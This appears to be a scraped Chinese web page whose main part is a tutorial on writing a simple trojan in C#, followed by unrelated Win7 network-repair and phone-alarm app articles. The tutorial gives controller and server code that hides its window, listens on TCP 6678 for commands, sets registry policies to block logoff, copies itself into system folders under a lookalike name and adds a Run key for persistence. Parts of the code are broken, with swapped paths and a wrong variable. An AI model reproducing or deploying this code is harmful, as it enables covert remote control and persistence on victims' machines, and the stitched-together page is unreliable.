用C#实现简单木马程序

一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
这里主要对软
【菜科解读】
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。
控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。
技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求使用了.NET类中的 System.Net.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e){//记录操作,在richTextBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +" ");int port =6678;try{//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);}catch{MessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");}}//private void buttion2、测试是否与被控制机连接上。
程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
//提供网络访问的数据流//private NetworkStream stream;代码如下:private void button8_Click(object sender, System.EventArgs e){//纪录操作 richTextBox1.AppendText("测试连接" +" ");try{stream = client.GetStream();if(stream.CanWrite){//发送控制码string control = "jiance";byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());stream.Write(by,0,by.Length);//下次使用stream.Flush();//启动接收反回数据的线程//receive是线程执行的函数,见后面的分析threadReceive = new Thread(new ThreadStart(receive));threadReceive.Start();}}catch(Exception ee){richTextBox1.AppendText (ee.Message+" ");MessageBox.Show(ee.Message);}}3、控制生效的代码private void button9_Click(object sender, System.EventArgs e){//这里是确定要发送的控制码,RadioButton是窗体控件if(radioButton1.Checked){ control = form2.zhucex;}else if(radioButton2.Checked){ control =form3.zhuces;}else if(radioButton3.Checked){ control = warring;}else if(radioButton4.Checked){ control =suggest;}else if(radioButton5.Checked){ control =form4.mumawe;}else if(radioButton6.Checked){ control =drop;}if (control =="000000"){ MessageBox.Show("你没有输入任何控制目标!不发控制信号");richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");}else if(control != "000000"){try{//记录操作richTextBox1.AppendText (control + "正在试图控制,等待回应......" + " ");stream = client.GetStream();if(stream.CanWrite ){byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());stream.Write(by,0,by.Length);stream.Flush();threadReceive =new Thread(new ThreadStart(receive));threadReceive.Start();}//endif}//trycatch{richTextBox1.AppendText("服务器未连接1控制无效!" +" ");MessageBox.Show("服务器未连接1控制无效!" +" ");}}//else if}4、线程执行的函数private void receive(){//设置读取数据的空间byte[] bb = new byte[3];//读取3个字节,i为实际读取的字节数int i = stream.Read(bb,0,3);//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);string ss = System.Text.Encoding.ASCII.GetString(bb);//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功if(ss=="hjc"){MessageBox.Show("连接成功");richTextBox1.AppendText("连接成功");}if(ss== "hkz"){richTextBox1.AppendText(control +"控制成功"+" ");MessageBox.Show(control +"控制成功"+" ");}}服务端的开发:要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为 Mininized即可,这样窗体就可以隐藏运行了。
当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:private void InitializeComponent(){//// Form1////窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;}2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数,此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下,完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能//修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义,见下面分析UnLogOff();//返回控制消息retMessage();break; case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default:break;}//case}//while} //private void reControlCode 3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。
下面就可以看到它的用法。
这里我做了一个修改注册表的子程序:使计算机不能注销。
在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销。
在下面的函数中用C#实现对注册表的修改:private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名,和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{ //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}}}4、在木马程序中还有一个重要的功能就是自我的复制和转移。
木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。
转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。
使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。
这里我们使用了System.IO.File类。
-- -www.bianceng.cnprivate void moveCC1(){try{//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用//sourceFileName为要移动的文件名,destFileName为文件的新路径File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");}catch {}//将新移的木马程序设为自启动.分析和前面一样try{key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}if(key1 ==null){try{RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}}} //moveCC1()到这里一个简单的C#的木马就完成了。
用,实现,简单,木马,程序,用,实现,木马,程序,
告诉你win7网络连接不可用如何办
最近有位使用win7系统童鞋向小编反映,最近在进行连接网络的时候,不知为何就出现了“网络不可用”这样子的一个提示信息,这是怎么的一回事?又该如何解决这个问题呢?不着急,千万不着急,小编这就来给大家捋捋win7网络连接不可用的解决办法。
一、重启连接法1、首先需要打开网络连接的页面。
可以先找到桌面右下角的网络图标,右键单击,选择最后一个“打开网络和共享中心”选项,或者左键单击图标,在出现的小窗口上找到“打开网络和共享中心”并单击,这样就会出现网络和共享中心的页面。
在页面的左边,选择“更改适配器设置”单击进入,此时就进入了管理网络连接的页面,跟你的电脑相关的连接都会在页面中显示。
2、当出现异常时,就选择异常网络,右键单击,然后点击禁用选项,之后该网络连接的图标会变灰,等待十几秒,就再次右键单击该网络连接图标,出现的菜单第一行显示的字样会变成启用,点击该选项。
3、完成后把计算机重启一下,看连接能否正常使用。
win7网络连接不可用载图1二、自我诊断法1、如果重启连接法不起作用,就再来试试自我诊断法,它的第一步依然是打开网络连接和中心,找到异常的网络连接。
2、右键单击网络连接图标,一般出现的菜单中第三项是诊断,单击诊断选项,系统会弹出诊断的窗口,自动进行诊断。
win7系统的诊断功能非常强大,一般的网络异常问题都能够解决,并且极为简单。
3、完成诊断以后,同样需要重启计算机,更新一下网络状态。
三、修复法1、这种方法基本上很少使用,直接按下快捷键win和r,桌面就会弹出一个窗口,上面有运行两字,在运行后面的文本框中输入CMD。
2、在出现的窗口中打上“netsh winsock reset”,然后按下回车,等一分钟,窗口中会显示修复成功。
3、关闭窗口,重启电脑,查看网络连接。
网络连接载图2win7网络连接不上默认网关不可用解决办法1、打开电脑“开始”菜单,找到【运行】选项,点击打开2、在弹出的“运行”对话框输入 cmd 点击确定进入dos界面3、在DOS命令行输入 netsh winsock reset点击回车4、接着输入 netsh int ip reset reset.log点击回车,重启电脑,问题界面5、如果上述方法无效,我们可以右键点击桌面“计算机”,然后点击【属性】选项6、进入“网络和共享中心”,点击左上角【更改适配器设置】7、进入“网络连接列表”,右键点击当前正在使用网络,点击“属性”选项8、进入“网络连接属性对话框”,点击【Internet 协议版本 4】9、进入“网络连接界面”,将IP地址和DNS均勾选为自动获取,然后重启电脑,问题解决win7连接不可用载图3怎么解决win7电脑本地网络连接显示红叉的问题一:检查网线与电脑的连接是否有问题。
二:如果确认网络与电脑的连接没有问题,返回 电脑桌 面,在开始菜单中找到“运行”选项,并输入“dcomcnfg”字样后按确定。
三:进入到组件服务界面。
网络连接载图4四:依次点击“组件服务”、“计算机”、“我的电脑”、“DCOM配置”这些选项,最后找到“netprofm”。
五:找到“netprofm”后右键属性,在新出来的界面导航中选择“安全”,并选中“启动和激活权限”下方的自定义,随后点击旁边的“编辑”按钮,在“添加”中“输入对象名称来选择”选项输入“LOCAL SERVICE”字样,最后按确定即可。
六:返回到界面后,这时我们还要注意本地启动和本地激活这两个选项有没有勾选。
七:最后我们还要在输入“dcomcnfg”字样后按确定出现的界面中,从“服务”这个选项找到“Network List Service”,进行启动即可。
win7连接不可用载图5 网络连接,win7连接不可用,win7,win7网络连接不可用
电量充满警示闹铃如何用
《电量充满警示闹铃》自定义手机充电提示音教程:1、首先,我们需要下载“电量充满警示闹钟”APP(点击下载)2、下载完成后,打开软件,在首页点击左上角的“三条横杠”。
3、在弹出的界面中点击“设定”,进入设置界面(有些字体为繁体字,看不清的小伙伴可以看图进行操作)。
4、在设置界面点击“声音”,进入声音界面。
5、在声音界面可以看到“插入音效设定”,点击进入(下方的拔出音效设定和插入步骤一样,下面就不说了)。
6、在插入音效设定界面,点击右边的两个方框,勾选完成后,才可以选择插入音效。
7、点击插入音效后会跳出插入音效的铃声,我们直接下拉到最后,会出现“添加铃声”,点击进入添加我们自己喜欢的铃声。
8、点击添加铃声后,会跳转到文件夹界面,我们需要点击对应的音乐分类进入。
9、在相应的音乐列表中,我们需要选取我们喜欢的铃声点击选中,再点击右上角的对号即可。
9、点击选择完后会跳转到添加铃声的界面,我们点击确定,然后直接退出就可以了,这样在手机接入充电器的时候,就会有你自定义的提示音效果了。
以上就是小编带来的电量充满警示闹铃怎么用?自定义手机充电提示音教程了,更多相关资讯教程,请关注zi7安卓。